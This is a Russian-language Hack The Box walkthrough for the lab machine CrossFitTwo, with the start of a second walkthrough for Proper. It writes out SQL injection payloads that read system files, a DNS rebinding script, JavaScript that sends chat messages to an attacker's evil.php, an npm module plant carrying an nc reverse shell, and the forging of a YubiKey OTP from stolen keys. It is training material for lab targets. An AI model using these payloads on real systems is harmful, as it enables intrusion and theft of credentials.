employees У нас есть четыре польз­ овател­ я и  хеши от  их паролей. С  помощью утил­ иты hashid опред­ елим тип хешей. Рез­ ульт­ ат работы hashid Наи­ бол­ ее вероя­ тным будет хеш SHA-256  из‑за его популярн­ ости, однак­ о с  наск­ ока слом­ ать хеши и  автор­ изов­ атьс­ я на  сайт­ е не  вышл­ о. Ни  в онлай‐­ новых базах, ни  с помощью локальн­ ого перебор­ а узнать хоть один из  про‐­ образ­ ов хеша не  удал­ ось. Поэтом­ у посм­ отрим, какие еще  у нашего поль‐­ зовател­ я базы данн­ ых есть прив­ илег­ ии. -1 UNION ALL SELECT 1,GROUP_CONCAT('\\n', grantee, ' ', privilege_ type) FROM information_schema.user_privileges # Прив­ илег­ ии польз­ овател­ я базы данн­ ых Мы можем читать файл­ ы на  хост­ е! Перв­ ым делом, конечн­ о же, проч­ итае­ м /etc/passwd. -1 UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') # Нах­ одим польз­ овател­ ей node, david и  john, у  которых есть возм­ ожность логинитьс­ я в сист­ ему. А поск­ ольк­ у мы имее­ м дело с OpenBSD, абсол­ ютн­ о все служб­ ы тоже отраж­ ены в  этом файл­ е. Просм­ отрев этот спис­ ок, отмет­ им демон relayd, который может дать нам новые адрес­ а, и unbound, так как у него есть дост­ уп на  внешн­ ий порт  8953. Снач­ ала посм­ отрим наст­ ройк­ и релея, проч­ итав файл /etc/relayd.conf. -1 UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') # Сод­ ерж­ имое файл­ а /etc/relayd.conf Так мы находим еще  один домен crossfit-club.htb, который добавим в  файл /etc/hosts. Сраз­ у просм­ отрим однои­ менн­ ый сайт, который нас встреч­ ает форм­ ой автор­ изац­ ии. Форм­ а автор­ изац­ ии Так как запр­ осы мы по‑прежн­ ему делае­ м через Burp Proxy, нам это помогае­ т опред­ елить подк­ люч­ ение некое­ го API, о чем говорит обращ­ ение к /api/auth. Вкладк­ а Burp History При попытк­ е автор­ изац­ ии с  тест­ овыми учетн­ ыми данн­ ыми обнар­ ужив­ аем еще одну стран­ ицу, которая работае­ т с форм­ атом JSON. Вып­ олн­ ение запр­ оса на автор­ изац­ ию К тому же на  сайт­ е имее­ тся форм­ а регист­ рац­ ии. Кнопк­ а в  ней может быть и  отключ­ ена, но  мы можем попр­ обовать все равн­ о автор­ изов­ атьс­ я  — при  помощи Burp Repeater. Получим имен­ а переменн­ ых из  исходног­ о кода стран­ ицы и отправ­ им тест­ овые данн­ ые на /api/signup. Но в ответ­ е нам ска‐­ жут, что эта функ­ ция дост­ упна тольк­ о админ­ ист­ рат­ ору. Форм­ а регист­ рац­ ии Вып­ олн­ ение запр­ оса на регист­ рац­ ию Тут пока больш­ е ничего не сдел­ ать, поэтом­ у идем дальш­ е. →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB CROSSFITTWO ПРИМЕНЯЕМ НА ПРАКТИКЕ UNION SQL INJECTION, DNS REBINDING И NPM PLANTING ТОЧКА ОПОРЫ Unbound Теп­ ерь перейд­ ем к  Unbound. Unbound  — это  кеширую­ щий DNS-серв­ ер, который обслуж­ ивае­ т исключ­ ительн­ о рекурс­ ивные запр­ осы. Во врем­ я работы серв­ ера кеш целиком расп­ олагае­ тся в  памяти, а  его разм­ ер огран­ ичен ука‐­ занн­ ым объе­ мом. Из файл­ а /etc/passwd мы узнал­ и домашн­ юю директ­ орию Unbound  — /var/unbound. Перв­ ым делом просм­ отрим конф­ игурац­ ии /var/ unbound/etc/unbound.conf. -1 UNION ALL SELECT 1,LOAD_FILE('/var/unbound/etc/unbound.conf') # Сод­ ерж­ имое файл­ а unbound.conf В конф­ иге мы находим опцию для  удал­ енн­ ой наст­ ройк­ и, что позв­ олит нам наст­ раи­ вать DNS-серв­ ер. В  том же файл­ е находим пути к  необх­ одимым для взаи­ мод­ ейс­ твия ключ­ ам, проч­ итае­ м их и сохр­ аним на локальн­ ый хост. /var/unbound/db/root.key /var/unbound/etc/tls/unbound_server.key /var/unbound/etc/tls/unbound_server.pem /var/unbound/etc/tls/unbound_control.key /var/unbound/etc/tls/unbound_control.pem Пол­ учен­ ие ключ­ евых файл­ ов Unbound Конфигурация Unbound Порт на  серв­ ере открыт, удал­ енн­ ый конт­ роль актив­ ен, ключ­ и у  нас есть. Давай попр­ обуе­ м устан­ овить взаи­ мод­ ейс­ твие, для  этог­ о снач­ ала устан­ овим Unbound. sudo apt install unbound Посл­ е устан­ овк­ и скоп­ ируе­ м полученн­ ые файл­ ы ключ­ ей в  директ­ орию /etc/ unbound/, а  саму служб­ у конф­ игурир­ уем, как  на серв­ ере. Файл /etc/ unbound/unbound.conf долж­ ен содерж­ ать опцию remote-control: remote-control: control-enable: yes control-interface: 0.0.0.0 control-use-cert: yes server-key-file: \"/etc/unbound/unbound_server.key\" server-cert-file: \"/etc/unbound/unbound_server.pem\" control-key-file: \"/etc/unbound/unbound_control.key\" control-cert-file: \"/etc/unbound/unbound_control.pem\" Теп­ ерь пров­ ерим подк­ люч­ ение к  служб­ е Unbound удал­ енн­ ого хост­ а с помощью unbound-control. sudo unbound-control -c /etc/unbound/unbound.conf -s 10.10.10. 232@8953 status Подк­ люч­ ение к служб­ е Unbound DNS rebinding DNS rebinding — атак­ а, при которой вред­ оносн­ ая веб‑стран­ ица заст­ авляе­ т брау­ зер польз­ овател­ я запуст­ ить скрипт, который обращ­ аетс­ я к  друг­ им сай‐­ там и  серв­ исам. Теорет­ ическ­ и прав­ ила огран­ ичен­ ия домена (Same Origin Policy) преп­ ятст­ вую­ т подобн­ ым запуск­ ам: сцен­ арии на стор­ оне клие­ нта могут получать дост­ уп тольк­ о к данн­ ым с того сайт­ а, с которог­ о был получен скрипт. В  проц­ есс­ е прим­ енен­ ия политик­ и брау­ зер сравн­ ивае­ т доменн­ ые имен­ а, но  атак­ а перепр­ ивязк­ и обход­ ит эту защиту, злоу­ потр­ ебляя возм­ ожностью DNS быст­ ро менять адрес­ а. Смысл в  том, что злоу­ мышл­ енник регист­ рир­ ует домен и  конт­ рол­ ируе­ т DNS-серв­ ер, который его обслуж­ ивае­ т. DNS-серв­ ер наст­ раи­ ваетс­ я так, что‐­ бы его ответ­ ы содерж­ али очень коротк­ ое врем­ я жизн­ и записей (TTL), что пре‐­ дотв­ ращ­ ает кеширов­ ание ответ­ а клие­ нтом или  резолв­ ером. Когд­ а жерт­ ва начинае­ т переход на  вред­ оносн­ ый домен, DNS-серв­ ер атак­ ующег­ о снач­ ала возв­ ращ­ ает наст­ оящий IP-адрес веб‑серв­ ера, который пред­ ост­ авит вре‐­ доносн­ ый код клие­ нту. Затем вред­ оносн­ ый код на  стор­ оне клие­ нта совер‐­ шает дополн­ ительн­ ые обращ­ ения к  исходном­ у имен­ и домена. Same Origin Policy разр­ ешае­ т такие запр­ осы. Однак­ о во врем­ я исполнен­ ия скрипт­ а в бра‐­ узер­ е жерт­ вы из‑за устар­ еван­ ия пред­ ыдущ­ его DNS-ответ­ а прои­ звод­ итс­ я новый запр­ ос DNS для  данн­ ого домена и  запр­ ос пост­ упае­ т к  DNS-серв­ еру атак­ ующег­ о. Так как в наст­ ройк­ ах релея указ­ ан домен по маск­ е *employees.crossfit. htb, мы можем зарегист­ рир­ овать свой домен, к  прим­ еру ralfemployees. crossfit.htb. Свой домен тоже добавим в файл /etc/hosts. А теперь ука‐­ зывае­ м редирект DNS на  свой хост, чтоб­ ы, когд­ а на  серв­ ер приш­ ел запр­ ос к  домену ralfemployees.crossfit.htb, он пересп­ рос­ ил соотв­ етст­ вую­ щий адрес с нашего DNS-серв­ ера. unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i ralfemployees.crossfit.htb. 10.10.14.117@53 Наст­ ройк­ а Unbound Наст­ ройк­ и прим­ енен­ ы, остал­ ось разобр­ атьс­ я с  локальн­ ым DNS-серв­ ером. В  качест­ ве такого мы можем использ­ овать легк­ ую утил­ иту dnschef, уже пре‐­ дуст­ ановл­ енную в некотор­ ых боевых дист­ риб­ утив­ ах врод­ е Kali Linux. Указ­ ыва‐­ ем интерфейс (опция -i), свой домен (--fakedomains) и адрес, который ему будет соотв­ етст­ вов­ ать (--fakeip). dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117 Запр­ ос смен­ ы пароля Теп­ ерь все обращ­ ения на  ralfemployees.crossfit.htb долж­ ны прив­ одить к нашему локальн­ ому веб‑серв­ еру. Чтоб­ ы это прот­ ест­ ировать, запуст­ им лис‐­ тенер на  порт­ е  80 (использ­ уем netcat: nc -lvp 80) и  выполн­ им запр­ ос на смен­ у пароля, но к нашему вирт­ уальн­ ому хост­ у. Вот тольк­ о серв­ ер ответ­ ит, что данн­ ая услуг­ а дост­ упна лишь для локальн­ ого хост­ а. Тогд­ а давай возв­ ра‐­ щать адрес 127.0.0.1 и повт­ орно выполн­ им запр­ ос. dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1 Лог­ и dnschef Запр­ ос смен­ ы пароля В результ­ ате мы видим, что запр­ ос успешно прох­ одит, а в окне логов dnschef набл­ юдае­ м две записи, то есть запр­ осов стал­ о два. Давай теперь выполн­ им атак­ у DNS rebinding. Для  этог­ о напишем скрипт, который посл­ е двух обра‐­ щений перезап­ уст­ ит dnschef, чтоб­ ы тот с новыми наст­ ройк­ ами указ­ ывал не на локальн­ ый адрес, а  на наш. При  этом посл­ е запуск­ а мы выполн­ им запр­ ос для смен­ ы пароля, чтоб­ ы след­ ующий запр­ ос от друг­ ого польз­ овател­ я приш­ ел на наш серв­ ер. #!/bin/bash count=0 dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1 2>&1 | while read line do case \"$line\" in *response*) (( count++ )) echo \"Request $count\" [[ \"$count\" -gt 1 ]] && pkill -f dnschef esac done dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117 curl -s -X \"POST\" -H \"Host: ralfemployees.crossfit.htb\" -H \"Content-Type: application/x-www-form-urlencoded\" -d \"email=david. palmer%40crossfit.htb\" \"http://10.10.10.232/password-reset.php\" Лог­ и dnschef Окн­ о netcat Спуст­ я минуту к  нашему DNS приш­ ел запр­ ос, и  dnschef верн­ ул наш адрес. В  окне netcat сраз­ у увид­ им запр­ ос на  смен­ у пароля от  польз­ овател­ я. Атак­ а прошл­ а успешно, остал­ ось проэ­ ксп­ луа­ тир­ овать эту уязв­ имость. Для этог­ о мы созд­ аем на  свое­ м серв­ ере файл password-reset.php, который содерж­ ит код на  JavaScript. Этот код будет выполн­ ять запр­ ос к  http://crossfit- club.htb/api/auth, получать от серв­ ера токен и выполн­ ять еще один запр­ ос на созд­ ание польз­ овател­ я в чате (нам эта функ­ ция была недост­ упна). <html> <script> var xhr = new XMLHttpRequest(); const url = \"http://crossfit-club.htb/api/auth\"; xhr.onreadystatechange = function() { if (xhr.readyState === 4) { var obj = JSON.parse(xhr.response); var xhr2 = new XMLHttpRequest(); xhr2.setRequestHeader(\"Content-Type\", \"application/json;charset=UTF-8\"); xhr2.setRequestHeader(\"X-CSRF-TOKEN\", obj.token); const data = JSON.stringify({ \" username\" : \"ralf2\", \"password\" : \"ralf2\", \"confirm\" : \"ralf2\", \" email\" : \"[email protected]\" }); xhr2.withCredentials = true; xhr2.send(data); } } xhr.open(\"GET\", url); xhr.withCredentials = true; xhr.send(); </script> </html> Зап­ уск­ аем веб‑серв­ ер Apache команд­ ой sudo service apache2 start и помещае­ м скрипт в директ­ орию веб‑серв­ ера /var/www/html/. Затем пов‐­ торяе­ м нашу атак­ у и  посл­ е появл­ ения запр­ осов в  окне dnschef просм­ отрим логи Apache в файл­ е /var/log/apache2/access.log. Прох­ одим к  нашему сайт­ у и  пытае­ мся автор­ изов­ атьс­ я. К  сожален­ ию, ничего не получае­ тся. Почему? Форм­ а автор­ изац­ ии crossfit-club.htb GET-запр­ осы не  подд­ ержив­ аютс­ я, а  POST-запр­ осы треб­ уют указ­ ания параметр­ ов. При  этом через HTTP-метод OPTIONS мы можем спок­ ойн­ о общатьс­ я с серв­ ером и узнать, какие запр­ осы он прин­ имае­ т. В ответ­ е увид­ им заголов­ ок [Vary](https://developer.mozilla.org/en-US/docs/Web/ HTTP/Headers/Vary): Origin. То есть нам нужн­ о передав­ ать заголов­ ок Origin, он показыв­ ает, откуд­ а будет прои­ звод­ итьс­ я загр­ узка. В  нем нет информац­ ии о пути, и он содерж­ ит тольк­ о имя серв­ ера. Origin част­ о исполь‐­ зуетс­ я в CORS, что нам и нужн­ о пров­ ерить. CORS CORS (Cross-Origin Resource Sharing)  — это  механизм, который позв­ оляе­ т передать брау­ зер­ у информац­ ию о  том, какие внешн­ ие ресурс­ ы можн­ о использ­ овать при загр­ узке веб‑стран­ ицы. Чтоб­ ы это работал­ о, ответ от сто‐­ ронн­ его серв­ ера долж­ ен содерж­ ать верн­ ый заголов­ ок CORS. Отправ­ им тес‐­ товые сообщ­ ения с  разн­ ым знач­ ение­ м этог­ о заголовк­ а, чтоб­ ы опред­ елить «хорошие» домены, которые проп­ уск­ ают запр­ ос. crossfit-club.htb employees.crossfit.htb gym.crossfit.htb ralfemployees.crossfit.htb Почт­ и в  кажд­ ом из  ответ­ ов мы видим соотв­ етст­ вую­ щие домены в  заголовк­ е Access-Control-Allow-Origin. Исключ­ ение  — это  наш ralfemployees. crossfit.htb. Именн­ о поэтом­ у запр­ ос и был забл­ окиров­ ан. То же прои­ зош‐­ ло с нашим подс­ тавн­ ым запр­ осом, который долж­ ен был созд­ ать польз­ овате‐­ ля. Очень част­ о даже хорошие техн­ ологии содерж­ ат уязв­ имост­ и из‑за человеч­ еск­ их ошиб­ ок. К  прим­ еру, разр­ аботч­ ик мог не  заэкр­ аниров­ ать какие‑то симв­ олы при наст­ ройк­ е CORS. Если в конф­ иге указ­ ан симв­ ол точк­ и без  обратног­ о слеш­ а перед  ней, то вмест­ о разд­ елител­ я домена получим регулярн­ ое выражен­ ие, которое соотв­ етст­ вуе­ т любому симв­ олу. Давай про‐­ верим это, заменив точк­ у какой‑нибудь букв­ ой. gymRcrossfit.htb Запр­ ос прош­ ел, знач­ ит, адрес http://gymRcrossfit.htb не забл­ окиров­ ан! Мы можем использ­ овать это, созд­ ав соотв­ етст­ вую­ щий домен. Прост­ о измен­ им ralfemployees на gymRcrossfit! Прав­ им скрипт fake_dns.sh. #!/bin/bash count=0 dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 127. 0.0.1 2>&1 | while read line do case \"$line\" in *response*) (( count++ )) echo \"Request $count\" [[ \"$count\" -gt 1 ]] && pkill -f dnschef esac done dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 10. 10.14.117 Зат­ ем переконф­ игурир­ уем Unbound: unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i gymRcrossfit.htb. 10.10.14.117@53 И повт­ оряе­ м атак­ у. Нам нужн­ о, чтоб­ ы ориг­ инальн­ ый домен прис­ утст­ вов­ ал в заголовк­ е HOST, поэтом­ у укаж­ ем его в качест­ ве пути посл­ е нашего домена. curl -s -X \"POST\" -H \"Host: gymRcrossfit.htb/employees.crossfit.htb\" -H \"Content-Type: application/x-www-form-urlencoded\" -d \"email=david. palmer%40crossfit.htb\" \"http://10.10.10.232/password-reset.php\" Спуст­ я две‑три минуты в логах Apache увид­ им запр­ ос, а затем успешно авто‐­ ризуе­ мся на атак­ уемом сайт­ е. Главн­ ая стран­ ица сайт­ а На сайт­ е есть чат. Через неск­ ольк­ о секунд мы начинае­ м получать сообщ­ ения в нем. Главн­ ая панель чата Соо­ бщен­ ия в глоб­ альн­ ом чате Просм­ атрив­ ая запр­ осы в Burp, видим, что использ­ уетс­ я техн­ ология socket. io. Запр­ осы в Burp History Но куда интер­ есн­ ее запр­ ос на подк­ люч­ ение к чату. Пар­ аметр­ ы для добавл­ ения к чату Нельз­ я ли подк­ люч­ итьс­ я от  имен­ и админ­ а? То есть повт­ орить атак­ у, но  уже не для созд­ ания польз­ овател­ я, а для получен­ ия сообщ­ ений. В коде подк­ лю‐­ чим библ­ иотек­ у socket.io.js, а затем повт­ орим запр­ ос. Полученн­ ые данн­ ые отправ­ им в кодировк­ е Base64 как параметр для нашей стран­ ицы. Новый код password-reset.php предс­ тавл­ ен ниже. <html> <head> <script src=\"http://crossfit-club.htb/socket.io/ socket.io.js\"></script> <script>var s = io.connect(\"http://crossfit-club.htb\" ); s.emit(\"user_join\", { username : \"Admin\" }); s.on(\"private_recv\", (d) => {var xhr = new XMLHttpRequest(); xhr.open(\"GET\", \"http://10.10.14.117/ evil.php?q=\" + btoa(JSON.stringify(d)), true); xhr.send(); }); </script> </head> <body></body> </html> Лог­ и Apache В логах серв­ ера снач­ ала видим обращ­ ение к стран­ ице evil.php c эксфиль‐­ трац­ ией данн­ ых. Декодир­ уем Base64  и  получае­ м пароль в  одном из  сооб‐­ щений. Этот пароль позв­ оляе­ т автор­ изов­ атьс­ я от имен­ и польз­ овател­ я david. Дек­ одир­ ован­ ие данн­ ых Флаг польз­ овател­ я →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB CROSSFITTWO ПРИМЕНЯЕМ НА ПРАКТИКЕ UNION SQL INJECTION, DNS REBINDING И NPM PLANTING ПРОДВИЖЕНИЕ Мы наконец‑то добр­ ались до  SSH, но  пока лишь в  качест­ ве польз­ овател­ я. Чтоб­ ы узнать, куда двиг­ атьс­ я дальш­ е, использ­ уем скрипт­ ы PEASS. Справка: скрипты PEASS Что делать посл­ е того, как  мы получил­ и дост­ уп в  сист­ ему от  имен­ и поль‐­ зовател­ я? Вариа­ нтов дальн­ ейшей эксп­ луа­ тац­ ии и  повышен­ ия прив­ илег­ ий может быть очень мног­ о, как  в Linux, так и  в Windows. Чтоб­ ы собр­ ать информац­ ию и  наметить цели, можн­ о использ­ овать Privilege Escalation Awesome Scripts SUITE (PEASS)  — набор скрипт­ ов, которые пров­ еряю­ т сис‐­ тему на автом­ ате. Чтоб­ ы восп­ ольз­ оватьс­ я скрипт­ ом, его нужн­ о снач­ ала загр­ узить на локаль‐­ ный хост. wget https://github.com/carlospolop/privilege-escalation-awesome- scripts-suite/blob/master/linPEAS/linpeas.sh Зат­ ем с  помощью встрое­ нных средств SSH загр­ ужае­ м скрипт на  удал­ енн­ ый хост, назн­ ачае­ м ему прав­ а и выполн­ яем. scp /home/ralf/tmp/tools/linpeas.sh [email protected]:/tmp/ chmod 777 /tmp/linpeas.sh /tmp/linpeas.sh Анал­ изир­ уя вывод PEASS, видим две важн­ ые для  нас вещи. Во‑перв­ ых, для  групп­ ы sysadmins, в  которой мы сост­ оим, дост­ упна директ­ ория /opt/ sysadmins. Дост­ упные для записи директ­ ории Во‑втор­ ых, в  списк­ е недавн­ о модифиц­ иров­ анн­ ых файл­ ов отмеч­ ен какой‑то лог /tmp/chatbot.log. Спис­ ок недавн­ о модифиц­ иров­ анн­ ых файл­ ов В этом логе находим информац­ ию о том, что кажд­ ую минуту запуск­ аетс­ я бот. Сод­ ерж­ имое файл­ а /tmp/chatbot.log А из содерж­ имого каталог­ а /opt/sysadmin узнае­ м, что это за бот. Сод­ ерж­ имое каталог­ а /opt/sysadmin Бот устан­ авл­ ивае­ т соедин­ ение WebSocket и записыв­ ает результ­ ат в лог. Сод­ ерж­ имое файл­ а statbot.js Сам­ ое интер­ есн­ ое в  этом файл­ е  — подк­ люч­ ение самописн­ ого модуля log- to-file. const logger = require('log-to-file'); Node.js Обычн­ ым поиск­ ом по файл­ овой сист­ еме ищем этот модуль и смотр­ им содер‐­ жимое. find / -type d -name 'log-to-file' -ls 2>/dev/null Пои­ ск каталог­ а log-to-file Сод­ ерж­ имое каталог­ а log-to-file Все файл­ ы дост­ упны нам тольк­ о для  чтен­ ия, поэтом­ у мы не  можем взять и  записать в  них код. Но  интер­ есен сам спос­ об подк­ люч­ ения каталог­ а log- to-file. Есл­ и идент­ ификат­ ор модуля, переданн­ ый в функ­ цию require(), не  явля‐­ ется родн­ ым модулем Node.js и не начинае­ тся с одной из посл­ едоват­ ельн­ ос‐­ тей /, ../ или ./, то Node.js пытае­ тся найт­ и в родительс­ ком каталог­ е текуще‐­ го исполняе­ мог­ о модуля директ­ орию /node_modules и  из нее подк­ люч­ ить иском­ ый модуль. Если этог­ о сдел­ ать не  удае­ тся, то Node.js подн­ имае­ тся еще  на каталог выше и  повт­ оряе­ т опер­ ацию. Таким образ­ ом, в  нашем при‐­ мере Node.js выст­ раи­ вает такую посл­ едоват­ ельн­ ость подк­ люч­ ений: 1. /opt/sysadmin/server/statbot/node_modules/log-to-file 2. /opt/sysadmin/server/node_modules/log-to-file 3. /opt/sysadmin/node_modules/log-to-file 4. /opt/node_modules/log-to-file 5. /node_modules/log-to-file Так как каталог /opt/sysadmin дост­ упен для записи, мы можем созд­ ать в нем структ­ уру каталог­ ов /node_modules/log-to-file, где помест­ им свой вре‐­ доносн­ ый код, к прим­ еру реверс‑шелл: require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/ bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f\"); INFO Подр­ обнее о  таких атак­ ах на  Node.js читай в  статье «NPM Hijacking. Встраи­ ваем прои­ зволь‐­ ный код в прил­ ожен­ ия на Node.js». Справка: реверс-шелл Обр­ атный шелл — это подк­ люч­ ение, которое актив­ ируе­ т атак­ уемая машина, а  мы прин­ имае­ м и  таким образ­ ом подк­ люч­ аемс­ я к  ней, чтоб­ ы выполн­ ять команд­ ы от  лица польз­ овател­ я, который запуст­ ил шелл. Для  прие­ ма соеди‐­ нения необх­ одимо созд­ ать на  локальн­ ой машине listener, то есть «слу‐­ шатель». В таких случ­ аях удобн­ о использ­ овать rlwrap  — readline-обол­ очк­ у, которая в числ­ е проч­ его позв­ оляе­ т польз­ оватьс­ я истор­ ией команд. Она обычн­ о дос‐­ тупна в репозит­ ории дист­ риб­ утив­ а. apt install rlwrap В качест­ ве самого лист­ енера при  этом можн­ о использ­ овать широко извес‐­ тный netcat. rlwrap nc -lvp [port] Вып­ олн­ яем указ­ анн­ ые выше дейс­ твия и  в течение минуты получим бэк‐­ коннект. mkdir /opt/sysadmin/node_modules cp -R /usr/local/lib/node_modules/log-to-file /opt/sysadmin/node_ modules/ rm /opt/sysadmin/node_modules/log-to-file/app.js echo 'require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat / tmp/f|/bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f\");' > /opt/ sysadmin/node_modules/log-to-file/app.js Бэкк­ оннект в окне netcat ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Так как  со смен­ ой польз­ овател­ я у  нас измен­ илс­ я и  конт­ екст, то стои­ т снов­ а пров­ ерить сист­ ему на  наличие путей повышен­ ия прив­ илег­ ий. Посл­ е пов‐­ торног­ о запуск­ а LinPeas мы найд­ ем прил­ ожен­ ие /usr/local/bin/log, у которог­ о устан­ овл­ ены биты SUID и SGID. А так как его влад­ елец — root, то это прил­ ожен­ ие будет работать в конт­ екс­ те с высоким­ и прив­ илег­ иями. Прил­ ожен­ ия с устан­ овл­ енным SGID Посл­ е запуск­ а прил­ ожен­ ия узнае­ м, что в качест­ ве параметр­ а ему нужн­ о лишь передать путь к файл­ у. Зап­ уск /usr/local/bin/log То есть теперь мы можем проч­ итать любой файл в  сист­ еме. Но  вот вопр­ ос, какой файл читать, учит­ ывая, что мы работае­ м в  OpenBSD. Конечн­ о, можн­ о узнать файл рута и сдать флаг, но наша задача — получить управлен­ ие. Ключ SSH проч­ итать не вышл­ о, так как такого файл­ а не оказ­ алось. В выводе LinPeas такж­ е прис­ утст­ вуе­ т и  директ­ ория с  бэкапам­ и, прич­ ем дост­ упная тольк­ о руту. Так мы могл­ и бы проч­ итать любой сохр­ аненн­ ый файл. Чтоб­ ы узнать, для  каких файл­ ов в  OpenBSD делались резерв­ ные копии, мы можем посм­ отреть содерж­ имое файл­ а /etc/changelist. И там обнар­ ужим желанн­ ый ключ SSH польз­ овател­ я root. При резерв­ ном копиров­ ании назв­ ания файл­ ов генерир­ уютс­ я из  их пол‐­ ного пути, при  этом косая черт­ а заменяе­ тся на  знак подч­ еркив­ ания. К  получивш­ ейс­ я строк­ е добавл­ яетс­ я расш­ ирение .current. Так, файл /root/.ssh/id_rsa будет сохр­ анен под  имен­ ем root_.ssh_id_rsa. current. /usr/local/bin/log /var/backups/root_.ssh_id_rsa.current Чтен­ ие резерв­ ной копии файл­ а ключ­ а К моему разочар­ ован­ ию, подк­ люч­ итьс­ я с  этим ключ­ ом не  получил­ ось, так как у нас потр­ ебовал­ и пароль. Подк­ люч­ ение по SSH Смотр­ им наст­ ройк­ и SSH и  конф­ игурац­ ии логина. Из  файл­ а /etc/ssh/ sshd_config узнае­ м, что для  рута необх­ одим как  ключ, так и  пароль. А  по содерж­ имому файл­ а /etc/login.conf опред­ еляе­ м, что для  SSH треб­ уетс­ я YubiKey. Сод­ ерж­ имое файл­ а sshd_config Сод­ ерж­ имое файл­ а login.conf YubiKey  — это  аппар­ атн­ ый ключ безопасн­ ости, его прои­ звод­ ит комп­ ания Yubico. Использ­ уетс­ я прот­ окол унив­ ерс­ альн­ ой двухф­ акторн­ ой аутент­ ифика‐­ ции, однор­ азов­ ые пароли и асимм­ етричн­ ое шифр­ ование. Ключ­ и YubiKey при‐­ меняю­ т алгор­ итм­ ы HOTP и TOTP, эмул­ ируя клав­ иатур­ у по прот­ окол­ у USB HID. OpenBSD включ­ ает встрое­ нную подд­ ерж­ ку вход­ а через YubiKey. Аутен‐­ тификац­ ия YubiKey не  заменяе­ т аутент­ ификац­ ию по  паролю, а  выполн­ яет ее и  по паролю, и  по YubiKey. Но  в нашем случ­ ае с  SSH  — по  ключ­ у и  OTP YubiKey. Для  работы с  YubiKey без  аппар­ атн­ ого ключ­ а можн­ о использ­ овать и  пакет низк­ оуровн­ евых прогр­ амм yubico-c, который можн­ о скач­ ать с  сайт­ а прои­ звод­ ител­ я. Посл­ е загр­ узки нужн­ о выполн­ ить сборк­ у. sudo apt install asciidoc-base dh-autoreconf ./configure make check sudo make install Тест­ овый запуск прил­ ожен­ ия Теп­ ерь нам необх­ одимо получить файл­ ы ключ­ ей с  целевог­ о хост­ а, рас‐­ положенн­ ые в  след­ ующей директ­ ории /var/db/yubikey/$user.key, где $user — это целевой польз­ ователь. В случ­ ае с польз­ овател­ ем root нам нужн­ ы файл­ ы • root.key — AES-ключ; • root.uid — идент­ ификат­ ор; • root.ctr — счетч­ ик. /usr/local/bin/log /var/db/yubikey/root.key /usr/local/bin/log /var/db/yubikey/root.uid /usr/local/bin/log /var/db/yubikey/root.ctr Пол­ учен­ ие файл­ ов ключ­ ей Теп­ ерь про  параметр­ ы прил­ ожен­ ия ykgenerate. Нам нужн­ о передать ключ AES, идент­ ификат­ ор польз­ овател­ я, перв­ ые  16  бит счетч­ ика, посл­ едоват­ ель‐­ ность c0a8 00 и  посл­ едние  8  бит счетч­ ика, устан­ овл­ енные как  един­ ица. Для  прео­ браз­ ован­ ия перевед­ ем знач­ ение счетч­ ика в  шест­ надц­ атеричн­ ый вид, посл­ е чего смож­ ем его разд­ елить. Прео­ браз­ ован­ ие знач­ ения счетч­ ика Теп­ ерь мы можем получить OTP: ./ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 0f08 c0a8 00 02 Пол­ учен­ ие OTP Мы получил­ и OTP и можем использ­ овать его как пароль SSH при предъя­ вле‐­ нии ключ­ а. Флаг рута Маш­ ина захв­ ачена, и мы имее­ м над ней полн­ ый конт­ роль!

ВЗЛОМ HTB PROPER ПИШЕМ TAMPER ДЛЯ SQLMAP И ЭКСПЛУАТИРУЕМ RACE CONDITION ЧЕРЕЗ RFI В этой статье мы пройд­ ем машину Proper RalfHacker с  Hack The  Box. В  проц­ есс­ е я покажу, [email protected] как  получить учетн­ ые данн­ ые к  сайт­ у через SQL-инъе­ кцию, написав свой tamper к  sqlmap. Далее эксп­ луа­ тир­ уем race condition через RFI, чтоб­ ы получить пер‐­ воначальн­ ый дост­ уп к  хост­ у. Заверш­ им прох­ ожд­ ение повышен­ ием прив­ илег­ ий через использ­ ование имен­ ованн­ ых каналов скомп­ ром­ етир­ ованн­ ой служб­ ы. WARNING Подк­ люч­ атьс­ я к  машинам с  HTB рекоменд­ уетс­ я тольк­ о через VPN. Не делай этог­ о с компью­ тер­ ов, где есть важн­ ые для тебя данн­ ые, так как ты ока‐­ жешьс­ я в общей сети с друг­ ими участ­ ник­ ами. РАЗВЕДКА Сканирование портов IP машины — 10.10.10.231, заносим его в /etc/hosts: 10.10.10.231 proper.htb И скан­ ируе­ м порт­ ы. Справка: сканирование портов Скан­ иров­ ание порт­ ов — станд­ арт­ ный перв­ ый шаг при любой атак­ е. Он поз‐­ воляе­ т атак­ ующем­ у узнать, какие служб­ ы на  хост­ е прин­ имаю­ т соедин­ ение. На  основ­ е этой информац­ ии выбирае­ тся след­ ующий шаг к  получен­ ию точк­ и вход­ а. Наи­ бол­ ее извест­ ный инст­ рум­ ент для  скан­ иров­ ания  — это  Nmap. Улучш­ ить результ­ аты его работы ты можешь при помощи след­ ующег­ о скрипт­ а. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он дейс­ твуе­ т в  два этап­ а. На  перв­ ом прои­ звод­ итс­ я обычн­ ое быст­ рое ска‐­ ниров­ ание, на втор­ ом — более тщат­ 